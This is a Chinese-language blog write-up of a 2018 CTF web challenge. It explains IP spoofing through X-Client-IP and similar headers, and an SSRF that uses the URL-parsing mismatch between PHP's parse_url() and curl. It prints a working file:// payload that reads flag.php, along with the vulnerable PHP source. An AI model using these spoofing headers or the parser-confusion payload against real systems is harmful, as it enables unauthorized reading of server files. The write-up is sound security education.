11月30, 2018

CTF-web 笔记 10

骇极杯 2018 web1

典型的划水比赛,尝试不到20分钟就放弃了,赛后看了wp,感觉至少可以过web2,可惜可惜。

环境关了,没有链接。

赛后看了wp,大佬们都把源码给扒了下来,然后我在本地还原了这道题。


解题过程

首页发现提示:

<!--  you need to visit to robots.txt  -->

访问robots.txt,发现有flag.phpsource.php

根据尿性,访问flag.php肯定是不行的(事实也是如此),故访问source.php

tips

根据提示 POST 参数admin,这里看了源码,当admin=1时才可以,当时比赛的时候尝试了好几个不是1的值然后放弃了,无语。

tips

然后让我们伪造IP,方法很多:

Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-IP: 127.0.0.1

然后发现伪造X-Client-IP可以成功。

tips

根据提示 POST 参数url

picture?

发现一个图片文件被保存了下来,用文本编辑器打开:

<html>
<head><title>301 Moved Permanently</title></head>
<body bgcolor="white">
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx/1.10.2</center>
</body>
</html>

猜测后台 PHP 用 curl 访问了之前 POST 上去的地址,只不过这里被重定向了。

不难猜测,这题的做法就是用 SSRF 让flag.php给泄露出来。

直接访问flag.php没有响应,有可能 flag 在文件的注释里面,或者只是一个简单的赋值。

这时候就要使用 PHP 伪协议中的 file 协议获得flag.php的代码。

但是有一个难点,题目已经规定了 POST 上去的url,但是这个url并不是题目环境的链接。

这就要用到一个解析的差异,参考了一叶飘零的博客。

一般 PHP 对一个字符串做 URL 解析时,会用到函数parse_url(),而在后台发起请求时用到curl,这两个函数的解析方式不太一样。

比如如下 URL:

http://u:p@a.com:80@b.com/

函数parse_url()的解析结果如下:

schema: http 
host: b.com
user: u
pass: p@a.com:80

curl的解析结果如下:

schema: http
host: a.com
user: u
pass: p
port: 80

可看到,curl解析上述 URL 会把后面的b.com忽略掉,但是parse_url()的解析结果中host的值为b.com

对于这题,直接 POST:

url=file://@127.0.0.1:80@www.ichunqiu.com/../../../var/www/html/flag.php

即可获得 flag。

同样的方式可以得到源码:

<?php
error_reporting(0);
include "flag.php";
echo "you need to login as admin!";
echo "<!-- post param  'admin' -->";
if(isset($_POST['admin']))
{
    if($_POST['admin']==1)
    {
        if($_SERVER['HTTP_X_CLIENT_IP'])
        {
            if(isset($_POST['url']) && parse_url($_POST['url'])['host']=='www.ichunqiu.com')
            {
                $curl = curl_init();
                curl_setopt($curl, CURLOPT_URL, $_POST['url']);
                curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
                $content = curl_exec($curl);
                curl_close($curl);
                $filename='download/'.rand().';img1.jpg';
                file_put_contents($filename,$content);
                echo $_POST['url'];
                $img="<img src=\"".$filename."\"/>";
                echo $img;
            }
            else
            {
                echo "you need post url: http://www.ichunqiu.com";
            }
        }
        else
        {
            echo "only 127.0.0.1 can get the flag!!";
        }
    }

}
else
{
    $_POST['admin']=0;
}
?>

PHP curl 访问本地文件卡死的解决方案

在还原题目环境时,PHP curl 对本地的文件进行访问,会造成端口阻塞。

需要在 nginx 的配置文件中再创建一个 server,设置成不同的端口,比如原本的默认端口是80,新的 server 要使用异于80的端口。

由于启动 cgi 时,会占用9000端口,新的 server 使用的 cgi 的端口要异于9000:

location ~ \.php$ {
    root           G:/nginx/hacker;
    fastcgi_pass   127.0.0.1:9001;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
    include        fastcgi_params;
}

启动两个cgi,设置成不同的端口即可。

G:\php7\php-cgi.exe -b 127.0.0.1:9000 -c G:\php7\php.ini

G:\php7\php-cgi.exe -b 127.0.0.1:9001 -c G:\php7\php.ini

本文链接:https://blog.cindemor.com/post/ctf-web-10.html

-- EOF --